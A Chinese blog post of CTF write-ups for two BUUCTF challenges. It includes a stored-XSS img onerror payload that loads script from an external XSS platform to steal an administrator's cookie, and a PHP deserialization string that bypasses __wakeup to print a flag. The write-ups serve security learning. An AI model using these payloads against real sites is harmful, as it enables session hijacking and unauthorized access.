首页 > 其他分享 >buuctf靶机笔记3

buuctf靶机笔记3

时间:2024-03-16 22:11:07浏览次数:17  
标签:username buuctf 序列化 笔记 echo flag wakeup 靶机 password

BUU XSS COURSE

image
首页如此
显然是持久性xss将数据存储到后台 管理员访问后台触发xss后 可以盗取cookie对后台进行登录 但我们还不知道后台地址
先尝试:
<script>alert(1)</script>
image
提交成功 尝试访问
没有触发弹窗
可能后台存在过滤
尝试用img标签:
<img src='11' one rror=alert(11)>
image
出现弹窗
利用img标签进行xss
选择一个xss平台
得到项目的url
image
用img构造payload
<img src='11' one rror=s=createElement('script');body.appendChild(s);s.src='//uj.ci/wg5';>
创建一个图片 写入一个不存在的src 当错误时触发创建脚本对象 s 并且将脚本对象s加入到页面中 s的来源是项目url
image
得到cookie
构造数据包
可以看到数据包的referer是backend/admin.php
加入cookie
image
得到flag:
image

[极客大挑战 2019]PHP

根据题目
image
网站有备份的习惯 进行扫描
image得到www.zip为目标文件
image
得到源码进行分析

include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}

当密码等于100 且用户名为admin时 flag才会被正常输出 而魔术方法wakeup会在对象反序列化时直接执行

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

index中又对select进行了反序列化 显然本题考查的内容是序列化
构造php函数进行测试
image
image
构造后的username和password满足要求 但在反序列化触发时 wakeup将name改为guest
image
没能得到flag
此时可以尝试php的小bug当对象的元素个数小于所声明的个数时 会造成wakeup函数不触发

O:4:"Name":3:
{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

此时不触发wakeup
image
得到flag
flag{225c1157-aa2d-4fc7-ac47-946d0c1a44a9}

标签:username,buuctf,序列化,笔记,echo,flag,wakeup,靶机,password
From: https://www.cnblogs.com/fr09/p/18077752

相关文章

  • SpringBoot笔记
    SpringBoot官方文档:SpringBoot什么是SpringSpring是一个开源框架,2003年兴起的一个轻量级的Java开发框架,作者:RodJohnson。Spring是为了解决企业级应用开发的复杂性而创建的,简化开发。Spring如何简化Java开发为了降低Java开发的复杂性,Spring采用了以下4种关键策略:基......
  • 算法学习笔记(46): 离散余弦变换(DCT)
    前置知识:离散傅里叶变换傅里叶变换在上文中更多的是OI中的理解以及应用。但是傅里叶变换奥秘还很多。回顾\(\omega_n\)在傅里叶变换中的定义:\(e^{i\frac{2\pi}n}\),存在\(\omega_n^n=1\)的性质。意味着离散傅里叶变换实际上是周期性的,这也变相的解释了为什么存在循环......
  • 图像处理ASIC设计方法 笔记10 插值算法的流水线架构
    (一)三次插值算法实现的图像旋转设计的流水线架构传统上,三次插值算法实现的图像旋转设计需要三块一样的处理资源,为了节约资源,采用流水线设计,简单来讲就是三次插值算法共用一块资源,优化这部分使用的存储器结构,以达成流水线的目标。插值算法最直接的是需要DFF模块,现在对它进......
  • 【论文笔记合集】Transformers in Time Series A Survey综述总结
    本文作者:slience_me文章目录TransformersinTimeSeriesASurvey综述总结1Introduction2Transformer的组成PreliminariesoftheTransformer2.1VanillaTransformer2.2输入编码和位置编码InputEncodingandPositionalEncoding绝对位置编码AbsolutePosit......
  • 初级Android开发学习笔记(三)图形用户界面设计-按钮Button
      按钮Button及按钮处理事件        按钮Button用于处理人机交互的事件,在一般应用程序中常常会用到。由于按钮Button是文本标签TextView的子类,按钮Button继承了文本标签TextView所有的方法和属性。其继承关系如图所示。    按钮Button在程序设计......
  • 分享一下自己总结的7万多字java面试笔记和一些面试视频,简历啥的,已大厂上岸
    分享一下自己总结的7万多字java面试笔记和一些面试视频,简历啥的,已大厂上岸总结的面试资料:面试资料SSMSSM搭建的版本有很多,例如有一个版本可以这么搭建,两个核心配置文件web.xml,applicationContext.xml。1.前端控制器DispatcherServlet2.过滤器CharacterEncodingFilter`......
  • 高架学习笔记之软件工程基础
    目录一、软件工程二、软件过程模型三、瀑布模型四、原型模型五、螺旋模型六、增量模型七、构建组装模型八、敏捷模型九、统一过程模型(RUP)十、软件能力成熟度模型一、软件工程    计算机刚刚投入实际使用时,软件基本上是在指定的计算机上由个人进行设计、使用以......
  • java基础 韩顺平老师的 面向对象(中级) 自己记的部分笔记
       272,包基本介绍包的三大作用1,区分相同的类  2,当类很多时,可以很好的管理类  3,控制访问范围包基本用法packagecom.hspedu;说明:1,package关键字,表示打包  2,com.hspedu,表示包名包的本质分析(原理)包的本质实际上就是创建不同的文件夹/目录来保存类......
  • Living-Dream 系列笔记 第50期
    T1构思分讨。很自然地,我们令\(dp_{i,j}\)表示\([i,j]\)的初始字母方案数。但是这个状态信息过少,不足以解决此问题。于是我们增加状态维度,令\(dp_{i,j,0/1/2/3}\)表示\([i,j]\)是否能由W/I/N/D演变而来。答案即为\(dp_{1,n,0}\mid\middp_{1,n,1}\mid\middp_{......
  • FFmpeg开发笔记(五)更新MSYS的密钥环
    ​ 《FFmpeg开发实战:从零基础到短视频上线》一书提到:使用MSYS对FFmpeg进行交叉编译时,需要事先安装交叉编译工具链,也就是执行下面命令。pacman-Smingw-w64-x86_64-toolchain一般情况可以正常安装交叉编译工具链,不过有时会提示错误“signaturefrom"DavidMacek<david.mace......